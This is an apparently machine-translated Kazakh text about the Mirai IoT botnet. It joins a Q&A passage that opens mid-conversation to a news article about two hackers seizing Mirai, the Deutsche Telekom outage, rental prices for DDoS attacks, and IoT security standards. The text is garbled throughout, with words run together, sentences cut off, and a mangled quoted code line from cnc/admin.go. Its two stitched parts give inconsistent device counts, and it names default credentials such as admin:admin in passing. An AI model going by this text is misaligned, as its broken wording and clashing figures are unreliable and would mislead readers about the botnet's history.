Әрине жоқ 😀 Негізі IoT құрылғыларының саны шектеулі. Ал бұл қазірдің өзінде өзекті мәселе. Mirai авторы оның желісіндегі құрылғылардың максималды саны 380 мың болғанын және бірнеше шабуылдардан кейін пайдаланушылар мен провайдерлер қорғаныс шараларын қолдана бастағанда, құрылғылар саны 300 мыңға дейін төмендеп, азаюын жалғастыруда.

Mirai бастапқы коды көпшілікке жарияланғаннан кейін оны көптеген хакерлер қолдана бастады. Қазіргі уақытта осы троянға негізделген үлкен ботнеттердің саны шамамен 52. Әрбір құрылғы бір ғана желіге тиесілі болуы мүмкін екенін нақтылаған жөн – құрылғыны басып алғаннан кейін бірден зиянды бағдарлама оны қайта жұқтырудан қорғайды. Құрылғы қайта іске қосылған кезде ғана құрылғы иелігін өзгерте алады. Мамандардың айтуынша, қайта іске қосылғаннан кейін құрылғы 30 секунд ішінде қайтадан жұқтырылады.

Сонда Мирайдың тиімділігі төмендеп жатыр ма?

Иә. Хакерлер ресурстардың шектеулі көлемі үшін бәсекеге түсуге мәжбүр, ол өсудің орнына (сақтық шараларына байланысты) азаяды. Жағдай хакерлердің тым өзімшіл екендігімен қиындады - осылайша, ботнеттің үлкен басқару сервері (Command and Control, C & C) жай ғана өшірілгеннен кейін - енді ботнет пайдасыз болып шықты және жаңа шабуылдарға қолайсыз болып шықты. Әрбір жаңа желі Mirai негізіндегі құрылғы алдыңғыларға қарағанда кішірек болады және тек аз қуатты шабуылдар жасай алады. Мысалы, АҚШ-тағы сайлау кезінде Клинтон мен Трамптың сайттарына әлсіз шабуылдар жасалды. Олар ешқандай зиян келтірмеді және оларды ешкім байқамады (осы троянның әрекеттерін арнайы бақылайтын компаниядан басқа).

Ол түсінікті. Бұл троян туралы тағы не белгілі?

Бұл Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor және Torlus деп аталатын басқа троянның мұрагері. Соңғысы 3-деңгейдегі коммуникацияларға сәйкес миллионға жуық веб-камераны бағындыра алатындығымен танымал. Сондай-ақ, ботнеттердің көпшілігі Mirai-дің таза көшірмесін емес, өздерінің өзгертілген нұсқаларын пайдаланатыны белгілі (бұл өте күтілуде).

Тағы бір қызықты факт Runet пайдаланушылары Mirai бастапқы кодында орыс ізін тапты - cnc/admin.go файлында орыс тіліндегі түсініктемелердің шығуы бар:

cnc/admin.go: this.conn.Write(байт(“\033))

Екінші жағынан, бұл әзілге ұқсайды - «шоттарды тексеру ...» - бұл «шоттарды тексеру» бар айқын трасса (машина аудармасы?).

Өткен айда сияқты ірі сайттарға шабуылдар болды Twitterнемесе оларды уақытша өшірген Spotify. Ол үшін ботнет пайдаланылды. Мирай, заттар интернетінің 400-500 мың құрылғыларын біріктіреді. Енді аналық плата журналистері екі хакер ботнеттің бақылауын басып алып, оның жаңа нұсқасын жасап үлгергенін білді - ол қазірдің өзінде миллиондаған құрылғыны біріктіреді. Оның күшін неміс провайдерінің абоненттері бастан кешірді Deutsche Telekom, өткен демалыс күндері желі істен шыққан.

Мирай аң аулау

Журналистер осы екі жұмбақ хакерлердің бірімен сөйлесе алды - ол BestBuy лақап атын пайдаланады. Шифрланған онлайн чатта ол хакерлер арасында Мирайды бақылау үшін нағыз күрес жүріп жатқанын айтты. Жақында оның бағдарламалық құралында осалдық анықталды. Оны пайдалану жылдамдығымен бірге BestBuy мен оның серіктесі Popopret-ке ботнеттің көп бөлігін бақылауға және оны жаңа құрылғылармен толықтыруға мүмкіндік береді.

Бұған дейін біздің сарапшылар Mirai ботнетінің кодын зерттеген - ол IoT құрылғылары үшін арнайы жасалмағаны белгілі болды. Зиянды бағдарламалық құрал желіге әдепкі логиндер мен құпия сөздермен қосылған құрылғыларды іздейді (admin:admin, root:password, т.б.). Бұл теориялық тұрғыдан ол кез келген құрылғыны, соның ішінде үйдегі компьютерлерді және серверлерді немесе маршрутизаторларды қамтуы мүмкін дегенді білдіреді.

IoT құрылғылары- әдетте маршрутизаторлар - бөлігі болып табылады Mirai ботнетол қайта жүктелгенше - содан кейін құрт олардың жадынан жойылады. Дегенмен, ботнет интернетте осал құрылғыларды үнемі тексереді, осылайша «емделген» құрылғы қайтадан оның бөлігі болуы мүмкін. Мүмкіндігінше көп құрылғыларды бірінші болып жұқтыру үшін хакерлер арасында нағыз жарыс бар.

Жаңа Mirai жасаушылардың бәсекелестерді қалай басып озғаны туралы ақпарат жоқ. Дегенмен, олар журналистерге әлеуетті осал құрылғыларды, соның ішінде бұрын ботнеттің бөлігі болған құрылғыларды сканерлеу үшін өздерінің бот-желілерін пайдаланып жатқанын айтты.

BestBuy: «Неге Мирайды Мирайды аулап, түпнұсқасын жұтып қоймасқа» дейді.

Тек Мирай емес

Дегенмен, жаңа ботнет тек Mirai ескі құрылғыларын және әдепкі құпия сөздері бар жаңа құрылғыларды жұтып қойған жоқ. Оны жасаушылар сонымен қатар IoT құрылғыларының микробағдарламасындағы 0 күндік осалдықтарды пайдаланады. Сарапшылар бұрын мұндай «біріктірілген» ботнеттердің жақын арада пайда болуын болжаған.

Олармен күрес айтарлықтай күрделене түседі - егер соңғы құрылғының пайдаланушысы Мирайдың өзімен бетпе-бет келу үшін пайдаланушы аты мен құпия сөзді өзгерту керек болса, онда ол гаджеттің осал тұстарын өздігінен жеңе алмайды.

DDoS 700 Гбит/с

BestBuy және Popopret хакерлері өз қызметтерін жарнамалай бастады - олар өздерінің қызметтеріне қол жеткізуді ұсынады жаңа нұсқасы Mirai XMPP/Jabber арқылы спам хабарламаларын жібереді,

Хакердің айтуынша, олар тұтынушыға бірнеше қызмет пакеттерін ұсынады. Арзан құны $2 000 - бұл ақшаға тұтынушылар жалға ала алады 20 000-нан 25 000-ға дейінон бес минуттық шабуылдар арасындағы үзіліспен екі аптаға дейінгі кезеңде күзетшілерді іске қосу үшін ботнет түйіндері. Артында $15 000 немесе $20 000 тұтынушылар 30 немесе 15 минуттық үзілістермен екі сағаттық шабуылдарды бастау үшін 600 000 ботқа мүмкіндік алады. Екінші жағдайда шабуыл күші болады 700 Гбит/снемесе одан да көп.

перспективалары

Қауіпсіздік IoT құрылғыларыжиі айтарлықтай төмен деңгейде - бұл сатушылар көбінесе қосымша шараларды енгізуге мүдделі еместігіне байланысты. ақпараттық қауіпсіздік. Олар өз өнімдерін пайдаланудың қарапайымдылығын жарнамалайды және барлық қосымша ақпараттық қауіпсіздік шаралары шектеулер қояды және ресурстарды талап етеді.

Жоғарыда айтылғандай, тек соңғы құрылғыларды әзірлеушілер немесе оларды қамтамасыз ететін провайдерлер (маршрутизаторлар жағдайында) пайдаланушыларды жетілдірілген ботнеттерден қорғай алады. Mirai жаңа нұсқасынан зардап шеккен неміс ISP Deutsche Telekom осал маршрутизаторларды жеткізушілермен «іскерлік қарым-қатынастарды қайта қарайтынын» жариялады. жылдамдық алаңы, компания Аркадян.

Сайып келгенде, бір жағынан провайдерлердің құрылғыларды қатаң бақылауын енгізу, екінші жағынан IoT стандарттары мен нормативтік құжаттамаларын әзірлеу арқылы заттар интернетінің қауіпсіздік деңгейін арттыруға болады. Осыған ұқсас шаралар APCS қауіпсіздігін қамтамасыз ету үшін көптеген елдерде қабылданған. Бұл бағыттағы алғашқы қадамдар қазірдің өзінде жасалды - мысалы, бірнеше IT жеткізушілері қыркүйек айында құжатты жариялады. Өнеркәсіптік интернет қауіпсіздігі Framework (IISF)- ол заттар интернетін «индустриалды интернеттің» бір бөлігі ретінде қарастыруды ұсынады.

Дегенмен, мәселенің түпкілікті шешімі әлі алыс және хакерлер BestBuy және Popopretірі монополияға ие бола алады DDoS шабуылдарыжеліде. Бұл өте өкінішті факт, бірақ ұрылардың өздері әңгімелесу кезінде аналық тақтаөз қызметінде пайданы ғана емес, моральдық принциптерді де басшылыққа алатынын мәлімдеді. Сондықтан BestBuy тұтынушыларға маңызды инфрақұрылыммен жұмыс істейтін компаниялардың IP мекенжайларына шабуыл жасауға рұқсат бермейтінін мәлімдеді.




Жоғарғы